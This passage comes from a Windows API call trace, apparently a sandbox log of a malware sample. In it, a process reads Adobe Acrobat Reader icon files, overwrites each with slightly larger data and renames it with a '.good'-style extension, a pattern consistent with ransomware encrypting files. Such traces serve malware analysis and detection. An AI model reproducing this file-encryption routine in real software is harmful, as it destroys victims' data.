ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning_2x.png", cAlternateFileName="WARNIN~1.PNG")) returned 0 [0234.346] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0234.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0234.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0234.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png", lpFilePart=0x0) returned 0x8a [0234.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0234.347] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png"), fInfoLevelId=0x0, lpFileInformation=0x3b6c298 | out: lpFileInformation=0x3b6c298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdae26b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184)) returned 1 [0234.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0234.613] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png", lpFilePart=0x0) returned 0x8a [0234.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0234.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0234.642] GetFileType (hFile=0x834) returned 0x1 [0234.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0234.643] GetFileType (hFile=0x834) returned 0x1 [0234.643] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x184 [0234.643] ReadFile (in: hFile=0x834, lpBuffer=0x38f0c88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x38f0c88*, lpNumberOfBytesRead=0x203eb258*=0x184, lpOverlapped=0x0) returned 1 [0234.643] CloseHandle (hObject=0x834) returned 1 [0234.674] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png", lpFilePart=0x0) returned 0x8a [0234.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0234.674] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0234.675] GetFileType (hFile=0x834) returned 0x1 [0234.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0234.675] GetFileType (hFile=0x834) returned 0x1 [0234.675] WriteFile (in: hFile=0x834, lpBuffer=0x3968908*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3968908*, lpNumberOfBytesWritten=0x203eb168*=0x190, lpOverlapped=0x0) returned 1 [0234.676] CloseHandle (hObject=0x834) returned 1 [0234.676] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png", lpFilePart=0x0) returned 0x8a [0234.676] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png.gоod", lpFilePart=0x0) returned 0x8f [0234.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0234.676] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x88176e11, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x190)) returned 1 [0234.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0234.677] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png.gоod")) returned 1 [0235.578] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x8d [0235.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0235.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x3a04b68 | out: lpFileInformation=0x3a04b68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdae26b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdae26b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228)) returned 1 [0235.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0235.578] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x8d [0235.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0235.578] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0235.578] GetFileType (hFile=0x858) returned 0x1 [0235.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0235.578] GetFileType (hFile=0x858) returned 0x1 [0235.578] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x228 [0235.578] ReadFile (in: hFile=0x858, lpBuffer=0x3a05178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x3a05178*, lpNumberOfBytesRead=0x203eb258*=0x228, lpOverlapped=0x0) returned 1 [0235.579] CloseHandle (hObject=0x858) returned 1 [0235.607] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x8d [0235.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0235.607] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0235.609] GetFileType (hFile=0x858) returned 0x1 [0235.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0235.609] GetFileType (hFile=0x858) returned 0x1 [0235.609] WriteFile (in: hFile=0x858, lpBuffer=0x3a7d120*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3a7d120*, lpNumberOfBytesWritten=0x203eb168*=0x230, lpOverlapped=0x0) returned 1 [0235.610] CloseHandle (hObject=0x858) returned 1 [0235.610] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x8d [0235.610] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png.gоod", lpFilePart=0x0) returned 0x92 [0235.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0235.610] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdae26b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdae26b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x88a67aaa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0235.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0235.610] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png.gоod")) returned 1 [0235.611] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x90 [0235.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0235.611] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png"), fInfoLevelId=0x0, lpFileInformation=0x3a7e560 | out: lpFileInformation=0x3a7e560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184)) returned 1 [0235.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0235.611] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x90 [0235.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0235.612] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0235.612] GetFileType (hFile=0x858) returned 0x1 [0235.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0235.612] GetFileType (hFile=0x858) returned 0x1 [0235.612] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x184 [0235.612] ReadFile (in: hFile=0x858, lpBuffer=0x3a7eaf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x3a7eaf0*, lpNumberOfBytesRead=0x203eb258*=0x184, lpOverlapped=0x0) returned 1 [0235.750] CloseHandle (hObject=0x858) returned 1 [0239.016] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x90 [0239.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0239.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0239.025] GetFileType (hFile=0x828) returned 0x1 [0239.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0239.025] GetFileType (hFile=0x828) returned 0x1 [0239.025] WriteFile (in: hFile=0x828, lpBuffer=0x3a75190*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3a75190*, lpNumberOfBytesWritten=0x203eb168*=0x190, lpOverlapped=0x0) returned 1 [0239.026] CloseHandle (hObject=0x828) returned 1 [0239.026] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x90 [0239.026] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png.gоod", lpFilePart=0x0) returned 0x95 [0239.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0239.026] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8aaecd34, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x190)) returned 1 [0239.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0239.027] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png.gоod")) returned 1 [0239.028] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x93 [0239.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0239.028] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x3a765e8 | out: lpFileInformation=0x3a765e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228)) returned 1 [0239.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0239.028] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x93 [0239.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0239.028] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0239.028] GetFileType (hFile=0x828) returned 0x1 [0239.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0239.028] GetFileType (hFile=0x828) returned 0x1 [0239.028] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x228 [0239.028] ReadFile (in: hFile=0x828, lpBuffer=0x3a76c18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x3a76c18*, lpNumberOfBytesRead=0x203eb258*=0x228, lpOverlapped=0x0) returned 1 [0239.163] CloseHandle (hObject=0x828) returned 1 [0239.190] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x93 [0239.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0239.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 